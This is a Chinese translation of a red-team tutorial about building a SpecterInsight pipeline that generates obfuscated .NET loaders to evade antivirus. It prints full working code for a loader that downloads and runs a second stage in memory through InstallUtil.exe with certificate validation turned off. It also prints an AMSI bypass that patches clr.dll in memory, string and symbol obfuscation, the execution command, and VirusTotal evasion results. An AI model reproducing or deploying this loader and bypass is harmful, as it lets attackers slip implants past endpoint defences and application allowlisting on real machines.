Building a RuntimeInstaller Payload Pipeline to Evade AV Detection
-
概述 -
什么是 Payload Pipeline -
构建 Pipeline -
使用 SpecterInsight UI -
使用 PowerShell 发起 Web 请求 -
定义参数 -
生成源代码 Payload -
添加反恶意软件扫描接口绕过 -
混淆字符串 -
混淆类名、方法名和变量名 -
编译 -
完整的 Payload Pipeline -
运行 Pipeline -
执行 Payload -
Pipeline 评估 -
评估计划 -
提交 1: VirusTotal 检出率 7/72 -
提交 2: VirusTotal 检出率 16/72 -
未来工作 -
结论
概述
本文将介绍如何构建一个自动化的 pipeline,用于生成可以绕过杀毒软件检测和应用程序控制的 .NET 加载器 payload。
本文使用的工具包括:
-
SpecterInsight 4.1.0 版本 -
InstallUtil.exe -
VirusTotal
什么是 Payload Pipeline
Payload pipeline 是一个自动化的过程,用于生成能够绕过杀毒软件、EDR 和网络防御者检测的红队 payload。手动构建和编译 payload 可能足以完成一次渗透测试任务,但对于未来的任务来说既不可重复也不可靠。现在许多杀毒软件厂商会将所有新发现的 payload 发送到他们的私有云中,在那里进行运行、观察、反汇编和分析,通过 AI 系统将新的 payload 分类为恶意或良性。一旦 payload 被识别为恶意,新的特征码就会在几小时内自动部署。这可能会干扰红队行动,使得难以完成渗透测试目标。
作为红队成员,为了对抗检测,你需要一个能够将单个、可能已被特征码标记的 payload 进行转换,从而生成一个能够抵抗检测的独特 payload 的过程。
我们将构建一个 payload pipeline,用于生成与 InstallUtil.exe 兼容的 RuntimeInstaller 可执行文件,InstallUtil.exe 是一个可用于绕过或规避检测的 LOLBin。我们首先为 payload 生成 C# 源代码模板。然后使用 SpecterInsight 工具应用各种代码转换,最后使用 .NET Roslyn 编译混淆后的代码。
定义参数
操作人员可能想要改变 payload 生成的各个方面,比如反恶意软件扫描接口绕过技术或者想要注入内存的特定 Stage 2。SpecterInsight 通过为 Payload Pipeline 提供参数块来实现这一点。
对于这个 pipeline,我希望允许操作人员选择所需的 AMSI 绕过方式。操作人员可能想要更改绕过方式,因为环境中的 EDR 可以检测并响应默认的绕过方式,但无法检测其他技术。有时操作人员可能想要选择一个应该被检测到的技术,以评估环境的防御能力。它是否按预期工作?
这种选择可以通过以下参数块来实现:
param(
[Parameter(Mandatory = $false, Helpmessage = 'The type of payload to generate.')]
[ValidateSet('csharp_load_module_code', 'csharp_shellcode_inject_code', 'win_any')]
[string]$PayloadKind = 'win_any',
[Parameter(Mandatory = $false, Helpmessage = 'The AMSI bypass technique to run before loading the target .NET module.')]
[ValidateSet('PatchAmsiScanBuffer', 'AmsiScanBufferStringReplace', 'None')]
[SpecterInsight.Obfuscation.CSharp.AstTransforms.Bypasses.Techniques.CSharpAmsiBypassTechnique]$AmsiBypassTechnique = 'AmsiScanBufferStringReplace',
[Parameter(Mandatory = $false, HelpMessage = "The .NET Framework version to target.")]
[SpecterInsight.Obfuscation.CSharp.OutputTransforms.CSharpCompilerFrameworkVersion]$FrameworkVersion = 'Dotnet4'
)
让我们分析一下 AmsiBypassTechnique 参数的各个部分:
-
ParameterAttribute: 这个属性提供了参数行为的详细信息。 -
Mandatory: 如果设为 true,则要求操作人员必须指定一个值。 -
HelpMessage: 对参数及其如何改变 pipeline 行为的简短描述。这里还应该包含示例值。这段文本会显示在 UI 中参数的下方。 -
ValidateSetAttribute: 这个属性表明输入只能是指定集合中的值。在这种情况下,该集合是一个字符串列表,代表了可用的 AMSI 绕过技术的名称。这个属性向 UI 表明输入应该是一个组合框。 -
String: 这描述了参数的类型。如果类型是 string、int、float 等,输入将是一个文本框。如果类型是枚举值,则会生成一个包含所有可能枚举值的组合框。
现在我们已经构建了参数块,SpecterInsight UI 将构建如下所示的参数输入选项卡:
生成源 Payload
C# payload 的源代码可以由操作人员生成,也可以由 SpecterInsight 生成。如果操作人员想使用自己的C#源代码,可以简单地将代码粘贴到多行字符串中。在这种情况下,我将使用 Get-CsRuntimeInstallerLoadModuleFromURL cmdlet 来生成一个用于加载 SpecterInsight payload 的 C# 程序。
这个 cmdlet 有许多选项,但最关键的是确定下一阶段将是什么。这个 cmdlet 生成一个加载器,但它需要知道要加载什么。这里有两个选项:(1) 从 URL 加载.NET 二进制文件或 (2) 从另一个 SpecterInsight payload pipeline 加载.NET 二进制文件。在这种情况下,我将选择选项#2 并使用 win_any pipeline。win_any pipeline 返回核心 SpecterInsight 二进制文件。
下面的命令生成一个 RuntimeInstaller 加载器,它将加载 win_any pipeline 的输出并将该代码存储为变量。
#Sets the .NET Framework version to target
Set-CsFrameworkVersion -FrameworkVersion $FrameworkVersion;
#Generate the payload loader source. This will generate a loader that downloads in loads the output from the 'win_any' pipeline in memory.
$code = Get-CsRuntimeInstallerLoadModuleFromURL -Pipeline $PayloadKind;
首先,我使用 Set-CsFrameworkVersion cmdlet。该命令将为当前 pipeline 执行过程中的其余 C# 混淆和编译 cmdlet 设置默认的 .NET Framework 目标版本。这一点很重要,因为它会影响输出二进制文件的兼容性以及源代码中可用的类和方法。
例如,如果源代码依赖于 .NET Framework 4 的方法,那么就不能将框架设置为 .NET 2.0,因为这样无法编译。此外,如果生成 .NET 2.0 的 payload,它理论上可以在任何 Windows 系统上执行;但是,如果系统上没有安装.NET 2.0,则需要添加配置文件才能在 .NET 4+ 下运行。最常见的使用场景是 .NET 4+,但如果需要,SpecterInsight 也支持 .NET 2.0。
以下是生成的 C# 代码示例:
using System;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
publicclassLoaderProgram
{
publicstaticvoidMain(string[] args)
{
Console.WriteLine("Invalid command.");
}
}
[System.ComponentModel.RunInstaller(true)]
publicclassLoader : System.Configuration.Install.Installer
{
public override voidUninstall(System.Collections.IDictionary savedState)
{
base.Uninstall(savedState);
NetRunner.Runner.Join();
}
}
internal staticclassNetRunner
{
publicstatic Thread Runner { get; set; }
staticNetRunner()
{
NetRunner.Runner = newThread(NetRunner.Run);
NetRunner.Runner.Start();
}
privatestaticvoidRun()
{
byte[] contents = NetRunner.DownloadAssembly("https://localhost/static/resources/?build=02c6e088b39b4fc187594ef0607eb2f9&kind=win_any");
if (contents != null)
{
MethodInfomethod= NetRunner.GetMethod(contents);
ParameterInfo[] parameters = method.GetParameters();
object[] args = null;
if (parameters.Length == 1 && parameters[0].ParameterType.Equals(typeof(string[])))
{
args = newobject[]
{
newstring[0]
};
}
method.Invoke(null, args);
}
}
publicstatic MethodInfo GetMethod(byte[] binary)
{
Assemblyassembly= Assembly.Load(binary);
return assembly.EntryPoint;
}
publicstaticbyte[] DownloadAssembly(string url)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += NetRunner.ServerCertificateValidationCallbackHandler;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType type = (SecurityProtocolType)0;
foreach (SecurityProtocolType option in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType modified = type | option;
try
{
ServicePointManager.SecurityProtocol = modified;
type = modified;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = type;
// Create a valid user agent string
string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
using (WebClient client = new WebClient())
{
client.Headers.Add("user-agent", userAgent);
return client.DownloadData(url);
}
}
private static bool ServerCertificateValidationCallbackHandler(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return true;
}
}
上述代码中的入口点是 Loader.Uninstall 方法。当操作员使用 /U 选项运行 InstallUtil.exe 时,InstallUtil.exe 会将指定的程序集加载到内存中,实例化 Loader 类,并调用 Uninstall 方法。这就是我们的加载器开始工作的地方。这种行为很好,因为我们的可执行文件永远不需要运行。它被加载到 InstallUtil.exe 的进程和内存空间中。这就是这种技术能够很好地绕过应用程序允许列表的原因。
此外,这还可以帮助缓解动态分析。如果我们的有效负载被提交到沙箱中,沙箱可能会尝试将其作为可执行文件运行,这将触发 LoaderProgram.Main 方法,而该方法实际上什么都不做。沙箱必须意识到/敏感于 System.Configuration.Install.Installer 的存在,并知道要使用 InstallUtil.exe 运行二进制文件。
添加反恶意软件扫描接口绕过
接下来,我们要插入一个 AMSI 绕过,这样已安装的防病毒软件就不会扫描第二阶段的二进制文件。我们可以使用 Add-CsAmsiBypass 来实现这一点。这个 cmdlet 接收一个 C# 程序,并在操作员指定的方法中插入代码来执行 AMSI 绕过。操作员可以将代码插入到主方法中,也可以通过完整路径插入到特定方法中。在这种情况下,我们必须通过完整路径指定方法,因为 RuntimeInstaller 入口点被定义为一个非 Main 的方法。然后,我们在参数块中引用操作员指定的 AMSI 绕过。
生成的命令如下所示:
#Insert the AMSI bypass if necessary
if($AmsiBypassTechnique-ne 'None') {
$code=$code|Add-CsAmsiBypass-Technique$AmsiBypassTechnique-Method 'NetRunner.NetRunner';
}
在插入绕过代码后,现在在 NetRunner.NetRunner 静态构造函数的开头插入了一个新的方法调用。
staticNetRunner()
{
Evasion.AmsiBypass.Apply();
NetRunner.Runner = new Thread(NetRunner.Run);
NetRunner.Runner.Start();
}
此外,该 cmdlet 还添加了 Evasion 命名空间和 AmsiBypass 类。以下是代码的具体实现。你可能会认出这是我们之前发布的新型 AMSI 绕过技术:在内存中修改 CLR.DLL 的新型 AMSI 绕过技术。这个 cmdlet 会插入该绕过代码并添加一个激活它的方法调用。
namespace Evasion
{
publicclassAmsiBypass
{
[DllImport("kernel32.dll")]
privatestaticextern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
privatestaticexternvoidGetSystemInfo(ref SYSTEM_INFO lpSystemInfo);
[DllImport("kernel32.dll", SetLastError = true)]
privatestaticexternboolVirtualQuery(IntPtr lpAddress, ref MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
[DllImport("kernel32.dll", SetLastError = true)]
privatestaticexternboolVirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("psapi.dll", SetLastError = true)]
privatestaticextern uint GetMappedFileName(IntPtr hProcess, IntPtr lpv, StringBuilder lpFilename, uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
publicstaticexternboolReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
publicstaticexternboolWriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
// Structs and constants
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_INFO
{
public ushort wProcessorArchitecture;
public ushort wReserved;
public uint dwPageSize;
public IntPtr lpMinimumApplicationAddress;
public IntPtr lpMaximumApplicationAddress;
public IntPtr dwActiveProcessorMask;
public uint dwNumberOfProcessors;
public uint dwProcessorType;
public uint dwAllocationGranularity;
public ushort wProcessorLevel;
public ushort wProcessorRevision;
}
[StructLayout(LayoutKind.Sequential)]
private struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
private const uint PAGE_READONLY = 0x02;
private const uint PAGE_READWRITE = 0x04;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint PAGE_EXECUTE_READ = 0x20;
private const uint PAGE_GUARD = 0x100;
private const uint MEM_COMMIT = 0x1000;
private const int MAX_PATH = 260;
public static void Apply()
{
IntPtr hProcess = GetCurrentProcess();
// Get system information
SYSTEM_INFO sysInfo = new SYSTEM_INFO();
GetSystemInfo(ref sysInfo);
// List of memory regions to scan
List<MEMORY_BASIC_INFORMATION> memoryRegions = new List<MEMORY_BASIC_INFORMATION>();
IntPtr address = IntPtr.Zero;
// Scan through memory regions
while (address.ToInt64() < sysInfo.lpMaximumApplicationAddress.ToInt64())
{
MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
if (AmsiBypass.VirtualQuery(address, ref memInfo, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))))
{
memoryRegions.Add(memInfo);
}
// Move to the next memory region
address = new IntPtr(address.ToInt64() + memInfo.RegionSize.ToInt64());
}
int count = 0;
//Loop through memory regions
foreach (MEMORY_BASIC_INFORMATION region in memoryRegions)
{
//Check if the region is readable and writable
if (!AmsiBypass.IsReadable(region.Protect, region.State))
{
continue;
}
//Scan the region for the AMSISCANBUFFER pattern
byte[] buffer = new byte[region.RegionSize.ToInt64()];
int bytesRead = 0;
AmsiBypass.ReadProcessMemory(hProcess, region.BaseAddress, buffer, (int)region.RegionSize.ToInt64(), out bytesRead);
//Check if the region contains a mapped file
StringBuilder pathBuilder = new StringBuilder(MAX_PATH);
if (AmsiBypass.GetMappedFileName(hProcess, region.BaseAddress, pathBuilder, MAX_PATH) > 0)
{
string path = pathBuilder.ToString();
if (path.EndsWith("clr.dll", StringComparison.InvariantCultureIgnoreCase))
{
for (int k = 0; k < bytesRead; k++)
{
if (AmsiBypass.PatternMatch(buffer, AmsiBypass.AMSISCANBUFFER, k))
{
uint oldProtect;
if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE)
{
AmsiBypass.VirtualProtect(region.BaseAddress, (uint)region.RegionSize.ToInt32(), PAGE_EXECUTE_READWRITE, out oldProtect);
}
byte[] replacement = new byte[AmsiBypass.AMSISCANBUFFER.Length];
int bytesWritten = 0;
AmsiBypass.WriteProcessMemory(hProcess, new IntPtr(region.BaseAddress.ToInt64() + k), replacement, replacement.Length, out bytesWritten);
count++;
if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE)
{
VirtualProtect(region.BaseAddress, (uint)region.RegionSize.ToInt32(), region.Protect, out oldProtect);
}
}
}
}
}
}
}
private static bool IsReadable(uint protect, uint state)
{
// Check if the memory protection allows reading
if (!((protect & PAGE_READONLY) == PAGE_READONLY || (protect & PAGE_READWRITE) == PAGE_READWRITE || (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE || (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ))
{
return false;
}
// Check if the PAGE_GUARD flag is set, which would make the page inaccessible
if ((protect & PAGE_GUARD) == PAGE_GUARD)
{
return false;
}
// Check if the memory state is committed
if ((state & MEM_COMMIT) != MEM_COMMIT)
{
return false;
}
return true;
}
private static bool PatternMatch(byte[] buffer, byte[] pattern, int index)
{
for (int i = 0; i < pattern.Length; i++)
{
if (buffer[index + i] != pattern[i])
{
return false;
}
}
return true;
}
public static readonly byte[] AMSISCANBUFFER = Encoding.UTF8.GetBytes("AmsiScanBuffer");
}
}
混淆字符串
我们现在可以开始对源代码应用混淆技术,以减轻各种杀毒软件可能存在的特征码检测。我们的 payload 现在包含一些可疑的字符串,这些字符串可能会被标记为特征码。这些字符串很可能会明文存储在 PE 文件的某个区段中。我们需要一种方法来混淆这些字符串,使得已安装的杀毒软件无法识别它们。我们的混淆技术不需要达到密码学安全的程度,但需要比常见的技术 (如十六进制或 base64 编码) 更好。因为有些杀毒软件能够"看穿"这些字符串,识别出底层数据。
-
原始代码
publicstaticreadonlybyte[] AMSISCANBUFFER = Encoding.UTF8.GetBytes("AmsiScanBuffer");
-
转换后的代码
publicstaticreadonlybyte[] AMSISCANBUFFER = Encoding.UTF8.GetBytes(StringVaultNamespace.StringVault.STR5);
这个 cmdlet 还会生成 StringVaultNamespace 命名空间和 StringVault 类,用于存储混淆后的字符串并负责在运行时对其进行解码。你可以看到上面替换字符串中引用的 STR5 属性会调用 StringVault.Extract 方法。提取方法使用偏移量来防止杀毒软件能够"看穿"十六进制编码。
namespaceStringVaultNamespace
{
publicstaticclassStringVault
{
privatestaticreadonlystring _str0 = "BBE0E8D3DEDBD692D5E1DFDFD3E0D6A0";
publicstaticstringSTR0
{
get
{
returnStringVault.Extract(StringVault._str0);
}
}
privatestaticreadonlystring _str1 = "DAE6E6E2E5ACA1A1DEE1D5D3DEDAE1E5E6A1E5E6D3E6DBD5A1E4D7E5E1E7E4D5D7E5A1B1D4E7DBDED6AFA2A4D5A8D7A2AAAAD4A5ABD4A6D8D5A3AAA9A7ABA6D7D8A2A8A2A9D7D4A4D8AB98DDDBE0D6AFE9DBE0D1D3E0EB";
publicstaticstringSTR1
{
get
{
returnStringVault.Extract(StringVault._str1);
}
}
privatestaticreadonlystring _str2 = "BFE1ECDBDEDED3A1A7A0A2929AC9DBE0D6E1E9E592C0C692A3A2A0A2AD92C9DBE0A8A6AD92EAA8A69B92B3E2E2DED7C9D7D4BDDBE6A1A7A5A9A0A5A8929ABDBAC6BFBE9E92DEDBDDD792B9D7D5DDE19B92B5DAE4E1DFD7A1ABA3A0A2A0A6A6A9A4A0A3A4A692C5D3D8D3E4DBA1A7A5A9A0A5A8";
publicstaticstringSTR2
{
get
{
returnStringVault.Extract(StringVault._str2);
}
}
privatestaticreadonlystring _str3 = "E7E5D7E49FD3D9D7E0E6";
publicstaticstringSTR3
{
get
{
returnStringVault.Extract(StringVault._str3);
}
}
privatestaticreadonlystring _str4 = "D5DEE4A0D6DEDE";
publicstaticstringSTR4
{
get
{
returnStringVault.Extract(StringVault._str4);
}
}
privatestaticreadonlystring _str5 = "B3DFE5DBC5D5D3E0B4E7D8D8D7E4";
publicstaticstringSTR5
{
get
{
returnStringVault.Extract(StringVault._str5);
}
}
privatestaticstringExtract(string hex)
{
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < hex.Length; i += 2)
{
byte temp = Convert.ToByte(hex.Substring(i, 2), 16);
temp = (byte)((byte.MaxValue + (int)temp - StringVault.SHIFT) % byte.MaxValue);
bytes[i / 2] = temp;
}
returnEncoding.UTF8.GetString(bytes);
}
privateconst byte SHIFT = 114;
}
}
混淆类名、方法名和变量名
下一步是混淆类名、方法名和变量名。这些 cmdlet 在生成新符号以替换旧符号方面相当直接。这个过程是动态完成的,因此你可以将任何 C#程序输入到 cmdlet 中,它将使用 .NET Roslyn 查找和替换符号名称。这一点很重要,因为符号名称会被烘焙到编译后的二进制文件中以支持反射。
$code = $code | Obfuscate-CsClasses;
$code = $code | Obfuscate-CsMethods;
$code = $code | Obfuscate-CsVariables;
以下是代码转换前后的对比示例。
-
原始代码
internal staticclassNetRunner
{
public static byte[] DownloadAssembly(string url)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += NetRunner.ServerCertificateValidationCallbackHandler;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType type = (SecurityProtocolType)0;
foreach (SecurityProtocolType option in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType modified = type | option;
try
{
ServicePointManager.SecurityProtocol = modified;
type = modified;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = type;
// Create a valid user agent string
string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
using (WebClient client = new WebClient())
{
client.Headers.Add("user-agent", userAgent);
return client.DownloadData(url);
}
}
}
-
转换后的代码
internal staticclassImageResizer
{
public static byte[] StartTask(string createdBy)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += ImageResizer.ServerCertificateValidationCallbackHandler;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType weight = (SecurityProtocolType)0;
foreach (SecurityProtocolType errorMessage in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType httpResponse = weight | errorMessage;
try
{
ServicePointManager.SecurityProtocol = httpResponse;
weight = httpResponse;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = weight;
// Create a valid user agent string
string email = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
using (WebClient tempList = new WebClient())
{
tempList.Headers.Add("user-agent", email);
return tempList.DownloadData(createdBy);
}
}
}
编译
最后一步是使用 Compile-CSharp 编译二进制文件。这个 cmdlet 能够编译不同类型的 payload,如 Windows 应用程序、控制台应用程序和动态链接库。它还可以针对不同的框架版本进行编译,包括:.NET 2.0、.NET 4.0 和支持跨平台 NativeAOT 的 .NET Standard 2.0。由于 InstallUtil.exe 是 Windows 特有的,所以我们将使用脚本开头指定的 FrameworkVersion 生成一个控制台应用程序。这将返回一个兼容 .NET 4.0+ 的可执行文件,可以在任何现代 Windows 系统上运行。
Compile-CSharp 的输出是一个 byte[] 数组,表示已编译可执行文件的内容。该数组被返回到 PowerShell 管道,然后由 SpecterInsight 捕获并返回给请求者。
$code | Compile-CSharp -OutputType Console;
完整的 Payload Pipeline
下面的代码块展示了我们完整的 payload 生成 pipeline。
param(
[Parameter(Mandatory=$false, Helpmessage= 'The type of payload to generate.')]
[ValidateSet('csharp_load_module_code', 'csharp_shellcode_inject_code', 'win_any')]
[string]$PayloadKind= 'win_any',
[Parameter(Mandatory=$false, Helpmessage= 'TheAMSI bypass technique to run before loading the target .NET module.')]
[ValidateSet('PatchAmsiScanBuffer', 'AmsiScanBufferStringReplace', 'None')]
[SpecterInsight.Obfuscation.CSharp.AstTransforms.Bypasses.Techniques.CSharpAmsiBypassTechnique]$AmsiBypassTechnique= 'AmsiScanBufferStringReplace',
[Parameter(Mandatory=$false, HelpMessage="The .NET Framework version to target.")]
[SpecterInsight.Obfuscation.CSharp.OutputTransforms.CSharpCompilerFrameworkVersion]$FrameworkVersion= 'Dotnet4'
)
Set-CsFrameworkVersion-FrameworkVersion$FrameworkVersion;
#Generate the payload source
$code=Get-CsRuntimeInstallerLoadModuleFromURL-Pipeline$PayloadKind;
#Insert the AMSI bypass if necessary
if($AmsiBypassTechnique-ne 'None') {
$code=$code|Bypass-CsAmsi-Technique$AmsiBypassTechnique-Method 'NetRunner.NetRunner';
}
$code=$code|Obfuscate-CsStrings;
$code=$code|Obfuscate-CsClasses;
$code=$code|Obfuscate-CsMethods;
$code=$code|Obfuscate-CsVariables;
$code|Compile-CSharp-OutputTypeConsole;
运行 Pipeline
我们现在可以通过两种方式运行 pipeline:(1) 使用 SpecterInsight UI 界面或 (2) 发起 Web 请求下载。这两种方式都会触发 pipeline 并生成一个新的混淆后的、具有反检测能力的 payload。
使用 SpecterInsight UI 界面
在 SpecterInsight UI 中,你可以使用 Payload Pipeline Editor 来配置、生成和下载新的 payload。打开 pipeline 后,你可以填写 Parameters 选项卡并点击"Test Pipeline"按钮。这将运行 pipeline 并在"Output"窗口中显示生成的输出。蓝色的"Download"按钮应该可用。你只需点击该按钮即可下载文件。
这个 pipeline 运行时间不到一秒,可以生成一个紧凑的、经过混淆的.NET 二进制文件。这包括所有的混淆和编译步骤。最终生成的二进制文件大小取决于参数和混淆技术,但文件大小通常小于 12 KiB。
使用 PowerShell 发起 Web 请求
如果你需要自动化这个过程或从 shell 中生成 payload,你可以像下面这样发起 PowerShell 请求。build 参数必须与 SpecterInsight 中 implant 的 ID 匹配,这样 pipeline 才能知道要引用哪些 implant 设置。
$ByteArray = (Invoke-WebRequest-Uri'https://localhost/static/resources/?build=02c6e088b39b4fc187594ef0607eb2f9&kind=cs_runtimeinstaller_load_module'-UseBasicParsing).Content
执行 Payload
将 payload 写入磁盘后,可以使用以下命令执行:
InstallUtil.exe /logfile= /LogToConsole=false /U "C:UsershelpdeskDesktopWorkspaceinstaller.exe"
执行 pipeline 后,我们在 InstallUtil.exe 进程上下文中获得了一个新的交互式会话。
Pipeline 评估
为了正确评估这个 pipeline,我们需要将其提交到云服务进行分析。这有两个原因:(1) 我预计我们在实际网络中生成的 payload 最终都会被提交到云端;(2) 与终端上的代理相比,防病毒厂商的云环境在检测和分析恶意内容方面的能力要强得多。关于第二点,我见过一些 payload 在独立的、无互联网环境中不会被检测到,但在生产环境中连接互联网时立即被发现和隔离。即使使用相同的签名集和补丁级别也是如此。云端检测的准确性比终端要高。
评估计划
考虑到这一点,我们需要一个即使样本被提交到云端也能重复工作的 pipeline...所以我们的测试必须包含向云分析系统提交样本。在这种情况下,我选择了 VirusTotal 来对我们的规避能力进行全面评估。
假设: 如果相同 payload pipeline 的不同迭代之间的防病毒检测数量相似,那么该 pipeline 在重复缓解检测方面是有效的。
提交 1:VirusTotal 检测结果为 72 个中的 7 个
这是第一次提交到 VirusTotal 的结果。只有少数几个能够检测到加载器是恶意的。
提交 2:VirusTotal 检测结果为 72 个中的 16 个
这是几天后第二次提交的结果。检测数量有所增加,但对于一个可重复的 payload pipeline 来说,增加幅度并不大。
未来工作
虽然 payload 目前被多个防病毒系统检测到,但可能还有一些可以改进的地方。例如,这个 payload 有一些可疑之处:
-
安装程序二进制文件中没有 install 方法,也没有你期望看到的实际安装代码。 -
没有"正常"的字符串。通常你会期望看到合法的、人类可读的字符串。目前所有字符串都被混淆了。 -
payload 很小,内容很少。 -
在 VirusTotal 中发现了一些与反射加载程序集和动态调用方法相关的静态签名。 -
没有导入。许多.NET 程序都依赖外部库。这个程序没有任何依赖,这本身不可疑,但我确信这是这些机器学习模型考虑的一个特征。
在 SpecterInsight 的下一个版本中,我们计划解决其中一些问题。例如,我们计划发布一个新功能,可以在任何 C# 代码中嵌入 .NET 加载器。这将允许操作人员提供合法的安装程序代码并在其中注入加载器。然后操作人员可以使用混淆 cmdlet 的过滤功能,只针对可疑的字符串、类、命名空间、变量名和方法名,而保留合法的安装程序数据不变。这将有助于使输出的 payload 更加合法。
此外,我们正在考虑添加一个功能,基于真实世界的程序生成 C# 程序模板,这将产生一个看起来合法的 C# 程序,操作人员可以在其中注入 .NET 加载器。
结论
这就到了这篇文章的结尾。我已经演示了如何构建一个可重复的 payload 生成和混淆 pipeline 来避免防病毒检测。初始脚本产生了相当低的真阳性命中率,同时仍然生成与其他迭代显著不同的 payload。
当然,这个 pipeline 不仅限于 SpecterInsight payload。你可以为任何你想要的植入框架构建 payload pipeline,所以这篇文章应该与任何 .NET payload 都相关。
原文始发于微信公众号(securitainment):构建一个绕过杀毒软件检测的 RuntimeInstaller Payload Pipeline
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论